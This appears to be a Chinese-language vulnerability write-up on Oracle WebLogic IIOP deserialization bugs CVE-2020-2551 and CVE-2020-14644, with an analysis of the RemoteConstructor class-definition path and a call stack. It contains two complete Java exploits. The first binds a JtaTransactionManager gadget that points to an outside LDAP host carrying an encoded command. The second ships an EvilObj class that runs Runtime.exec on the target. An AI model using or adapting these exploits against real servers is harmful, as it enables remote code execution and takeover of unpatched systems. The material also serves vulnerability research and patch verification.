`import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;`` ``import javax.naming.Context;``import javax.naming.InitialContext;``import java.lang.reflect.Field;``import java.rmi.Remote;``import java.util.Hashtable;`` ``import static ysoserial.payloads.util.Gadgets.createMap;``import static ysoserial.payloads.util.Gadgets.createMemoitizedProxy;`` ``public class CVE_2020_2551 {`` `` ` `public static void main(String[] args) throws Exception {` `String ip = "127.0.0.1";` `String port = "7001";` `String rmiurl = "ldap://192.168.0.103/cVLtcNoHML/Plain/Exec/eyJjbWQiOiJ0b3VjaCAvdG1wL3N1Y2Nlc3MxMjMifQ==";` `String rhost = String.format("iiop://%s:%s", ip, port);`` ` `Hashtable<String, String> env = new Hashtable<String, String>();` `// add wlsserver/server/lib/weblogic.jar to classpath,else will error.` `env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");` `env.put(Context.PROVIDER_URL, rhost);` `Context context = new InitialContext(env);` `JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();` `jtaTransactionManager.setUserTransactionName(rmiurl);` `Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);`` ` `context.bind("test3", remote);` `context.lookup("test3");` `}``}`
CVE-2020-14644
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
漏洞分析
主要问题出现在com.tangosol.internal.util.invoke.RemoteConstructor上:
RemoteConstructor.readResolve -> RemoteConstructor.newInstance -> RemotableSupport.realize
RemotableSupport.realize中存在两个方法调用:
分别为重载后的defineClass方法:
与实例化方法:
defineClass的值来自于definition
getName()的逻辑如下:
`public String getName() {` `return this.getPackage() + "/" + this.getSimpleName();``}`` ``public String getSimpleName() {` `return this.getBaseName() + "$" + this.getVersion();``}`
在defineClass时我们的classname需要与传入的字节码保持一致。
常规的IIOP调用流程,通过反射调用到com.tangosol.internal.util.invoke.RemoteConstructor的readResolve方法:
com.tangosol.internal.util.invoke.RemoteConstructor.readResolve()->newInstance()->realize()
其中registerIfAbsent会根据Id检查是否有已经缓存过的ClassDefinition对象,若存在则不会重新进行defineClass操作:
接下来就是上文中分析过的defineClass与createInstance流程:
调用栈:
`realize:142, RemotableSupport (com.tangosol.internal.util.invoke)``newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)``readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)``invokeVirtual_L_L:-1, 479734028 (java.lang.invoke.LambdaForm$DMH)``reinvoke:-1, 1608812768 (java.lang.invoke.LambdaForm$BMH)``invoke_MT:-1, 223025988 (java.lang.invoke.LambdaForm$MH)``readResolve:202, ObjectStreamClass (weblogic.utils.io)``readValue:88, ValueHandlerImpl (weblogic.iiop)``read_value:1388, IIOPInputStream (weblogic.iiop)``read_value:1247, IIOPInputStream (weblogic.iiop)``read_value_internal:230, AnyImpl (weblogic.corba.idl)``read_value:125, AnyImpl (weblogic.corba.idl)``read_any:1000, IIOPInputStream (weblogic.iiop)``read_any:992, IIOPInputStream (weblogic.iiop)``_invoke:87, _NamingContextAnyImplBase (weblogic.corba.cos.naming)``invoke:249, CorbaServerRef (weblogic.corba.idl)``invoke:246, ClusterableServerRef (weblogic.rmi.cluster)``run:534, BasicServerRef$2 (weblogic.rmi.internal)``doAs:386, AuthenticatedSubject (weblogic.security.acl.internal)``runAs:163, SecurityManager (weblogic.security.service)``handleRequest:531, BasicServerRef (weblogic.rmi.internal)``run:138, WLSExecuteRequest (weblogic.rmi.internal.wls)``_runAs:352, ComponentInvocationContextManager (weblogic.invocation)``runAs:337, ComponentInvocationContextManager (weblogic.invocation)``doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)``runWorkUnderContext:41, PartitionUtility (weblogic.work)``runWorkUnderContext:655, SelfTuningWorkManagerImpl (weblogic.work)``execute:420, ExecuteThread (weblogic.work)``run:360, ExecuteThread (weblogic.work)`
POC如下:
`import com.tangosol.internal.util.invoke.ClassDefinition;``import com.tangosol.internal.util.invoke.ClassIdentity;``import com.tangosol.internal.util.invoke.RemoteConstructor;``import javassist.CannotCompileException;``import javassist.ClassPool;``import javassist.CtClass;``import javassist.NotFoundException;``import weblogic.EvilObj;`` ``import javax.naming.Context;``import javax.naming.InitialContext;``import javax.naming.NamingException;``import java.io.IOException;``import java.util.Hashtable;`` ``public class CVE_2020_14644 {` `public static void main(String[] args) throws IOException, CannotCompileException, NamingException, NotFoundException {`` ` `String ip = "127.0.0.1";` `String port = "7001";` `String rhost = String.format("iiop://%s:%s", ip, port);`` ` `Hashtable<String, String> env = new Hashtable<String, String>();` `// add wlsserver/server/lib/weblogic.jar to classpath,else will error.` `env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");` `env.put(Context.PROVIDER_URL, rhost);`` ` `Context context = new InitialContext(env);`` ` `ClassIdentity classIdentity = new ClassIdentity(EvilObj.class);` `ClassPool cp = ClassPool.getDefault();` `CtClass ctClass = cp.get(EvilObj.class.getName());` `ctClass.replaceClassName(EvilObj.class.getName(), EvilObj.class.getName() + "$" + classIdentity.getVersion());` `RemoteConstructor constructor = new RemoteConstructor(` `new ClassDefinition(classIdentity, ctClass.toBytecode()),` `new Object[] {}` `);``// 发送 IIOP 协议数据包`` ``// context.bind("hello",new Object());` `context.rebind("hello",constructor);` `}``}`` `` ``//EvilObj.class``public class EvilObj {`` ` `public EvilObj() {` `try {` `Runtime.getRuntime().exec("touch /tmp/success222");` `} catch (IOException var1) {` `var1.printStackTrace();` `}` `}``}`
后记
参考:
https://tttang.com/archive/1800/#toc\_cve-2018-3245